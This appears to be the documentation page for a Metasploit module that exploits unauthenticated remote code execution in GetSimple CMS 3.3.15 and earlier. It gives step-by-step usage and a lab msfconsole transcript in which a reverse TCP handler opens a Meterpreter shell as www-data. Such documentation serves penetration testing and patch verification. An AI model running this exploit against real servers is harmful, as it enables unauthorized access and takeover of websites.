49 lines
1.6 KiB
Markdown
49 lines
1.6 KiB
Markdown
|
## Description
|
||
|
|
|
||
|
|
This module exploits a vulnerability found in GetSimpleCMS, which
|
||
|
|
allows unauthenticated attackers to perform Remote Code Execution.
|
||
|
|
An arbitrary file upload vulnerability can be triggered by an
|
||
|
|
authenticated user, however authentication can be bypassed by leaking
|
||
|
|
the cms API key to target the session manager.
|
||
|
|
|
||
|
|
## Vulnerable Application
|
||
|
|
|
||
|
|
GetSimple CMS versions 3.3.15 and below
|
||
|
|
|
||
|
|
Vulnerable installations can be found [here](http://get-simple.info/)
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
1. Install the application
|
||
|
|
2. Start msfconsole
|
||
|
|
3. Do: ```use exploit/multi/http/getsimplecms_unauth_code_exec```
|
||
|
|
4. Do: ```set RHOSTS <IP>```
|
||
|
|
4. Do: ```run```
|
||
|
|
5. You should get a shell.
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
### Tested on GetSimple CMS v3.3.15 on Ubuntu 18.04
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 > use exploit/multi/http/getsimplecms_unauth_code_exec
|
||
|
|
msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > set rhosts 192.168.37.137
|
||
|
|
rhosts => 192.168.37.137
|
||
|
|
msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > set verbose true
|
||
|
|
verbose => true
|
||
|
|
msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||
|
|
[*] GetSimpleCMS version 3315
|
||
|
|
[*] Sending stage (38247 bytes) to 192.168.37.137
|
||
|
|
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.137:32976) at 2019-05-16 11:22:39 -0500
|
||
|
|
|
||
|
|
meterpreter > getuid
|
||
|
|
Server username: www-data (33)
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : ubuntu
|
||
|
|
OS : Linux ubuntu 4.18.0-16-generic #17~18.04.1-Ubuntu SMP Tue Feb 12 13:35:51 UTC 2019 x86_64
|
||
|
|
Meterpreter : php/linux
|
||
|
|
meterpreter >
|
||
|
|
```
|